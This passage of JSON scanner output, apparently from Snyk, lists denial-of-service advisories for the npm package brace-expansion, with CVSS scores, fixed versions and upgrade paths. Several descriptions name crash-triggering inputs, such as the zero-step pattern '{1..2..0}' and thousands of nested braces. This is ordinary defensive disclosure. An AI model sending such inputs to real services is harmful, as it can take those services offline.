"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be 